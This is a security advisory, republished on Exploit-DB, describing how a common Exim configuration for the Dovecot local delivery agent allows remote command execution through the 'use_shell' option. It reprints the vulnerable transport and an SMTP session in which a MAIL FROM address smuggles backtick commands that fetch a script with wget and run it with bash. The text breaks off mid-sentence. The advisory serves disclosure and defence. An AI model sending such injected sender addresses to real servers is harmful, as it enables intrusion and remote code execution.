Exploit-DB #25297
Description: Dovecot with Exim - 'sender_address' Remote Command Execution
Type: remote
Platform: linux
Date: 2013-05-07
Author: RedTeam Pentesting GmbH

Exploit:
Advisory: Exim with Dovecot: Typical Misconfiguration Leads to Remote
          Command Execution

During a penetration test a typical misconfiguration was found in the
way Dovecot is used as a local delivery agent by Exim. A common use
case for the Dovecot IMAP and POP3 server is the use of Dovecot as a
local delivery agent for Exim. The Dovecot documentation contains an example
using a dangerous configuration option for Exim, which leads to a remote
command execution vulnerability in Exim.


Details
=======

Product: Exim with Dovecot LDA and Common Example Documentation
Affected Versions: Example Configuration in Dovecot Wiki since
                   2009-10-23
Vulnerability Type: Remote Code Execution
Security Risk: HIGH
Vendor URL: http://www.exim.org http://www.dovecot.org
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2013-001
Advisory Status: public


Introduction
============

Dovecot is an open source IMAP and POP3 server. Dovecot is used both for
small and large installations because of its good performance and simple
administration. Exim is a message transfer agent developed at the
University of Cambridge, freely available under the terms of the GNU
General Public Licence. Both services are commonly used in tandem with
each other. Dovecot is often configured in Exim to handle mail delivery to
mailboxes.

The Dovecot wiki contains an example configuration for Exim to have
Dovecot handle mail delivery in conjunction with LDAP. Using Dovecot as
a local delivery agent (LDA) for Exim is a common use case for an
Exim/Dovecot server. The Dovecot wiki, which is also packaged as
documentation with the Dovecot source packages and many Linux
distribution packages, contains example configurations for Exim. One
configuration contains a dangerous option, which leads to a remote
command execution vulnerability in Exim. Since this configuration
concerns a very common use case of Dovecot with Exim and is widely
repackaged in distribution packages, users of Dovecot and Exim should
check their current configuration of Exim.


More Details
============

Dovecot and Exim can be used together without any further configuration
of the Exim mail delivery process. This will result in a configuration,
where Dovecot can access mails delivered to a mailbox of a user, but
message filtering through the Dovecot server-side filters is not
possible.

In order for server-side mail filtering by the Sieve implementation of
Dovecot to work, Dovecot provides its own local delivery agent (LDA).
This agent must be added to the Exim delivery configuration as a mail
transport. To make such a configuration work, Exim offers the
possibility to use pipe transports[1]. The Exim daemon then hands the
email messages over to an external program, in this case the Dovecot LDA
(on Debian GNU/Linux found at /usr/lib/dovecot/deliver).

The Dovecot-Wiki[2] and documentation propose, among others, a
configuration for using Exim with the Dovecot LDA and multiple UIDs
which are loaded from an external source, for example LDAP. It is
assumed that this configuration is often used as a template when
configuring new email servers, as coupling SMTP and POP3/IMAP servers
with an external user database like LDAP is common. Furthermore, this
example configuration is rather detailed. Therefore, it is estimated
that many administrators based their configuration on this one.

The example transport configuration from the Dovecot wiki is shown
below:
------------------------------------------------------------------------
dovecot_deliver:
  debug_print = "T: Dovecot_deliver for $local_part@$domain"
  driver = pipe
  # Uncomment the following line and comment the one after it if you
  # want deliver to try to deliver subaddresses into INBOX.{subaddress}.
  # If you do this, uncomment the local_part_suffix* lines in the router
  # as well. Make sure you also change the separator to suit your local
  # setup.
  #command = /usr/lib/dovecot/deliver -e -k -s \
  #   -m "INBOX|${substr_1:$local_part_suffix}" \
  command = /usr/lib/dovecot/deliver -e -k -s \
      -f "$sender_address" -a "$original_local_part@$original_domain"
  use_shell
  environment = USER=$local_part@$domain
  umask = 002
  message_prefix =
  message_suffix =
  delivery_date_add
  envelope_to_add
  return_path_add
  log_output
  log_defer_output
  return_fail_output
  freeze_exec_fail
  #temp_errors = *
  temp_errors = 64 : 69 : 70 : 71 : 72 : 73 : 74 : 75 : 78
------------------------------------------------------------------------

With the "use_shell" option, Exim is instructed not to start the program
directly, but rather expand all Exim variables and pass this string to a
shell afterwards, which then starts the LDA. The content of the variable
$sender_address can in most standard setups be controlled by an
attacker, its value is inserted verbatim into the string which is
supplied to the shell. This enables attackers to execute arbitrary shell
commands in the name of the Exim system user.

The following conversation with the mail server demonstrates downloading
and executing a shell script. Since spaces are not accepted within a
sender email address, ${IFS} can be used instead.

------------------------------------------------------------------------
220 host ESMTP Exim 4.72 Mon, 22 Apr 2013 13:22:23 +0200
EHLO example.com
250-host Hello localhost [127.0.0.1]
250-SIZE 52428800
250-PIPELINING
250 HELP
MAIL FROM: red`wget${IFS}-O${IFS}/tmp/p${IFS}example.com/test.sh``bash${IFS}/tmp/p`team@example.com
250 OK
RCPT TO: someuser@example.com
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Subject: test

.
250 OK id=1UUEqF-0004P8-2B
------------------------------------------------------------------------

Attaching and following the Exim process with strace during this example
conversat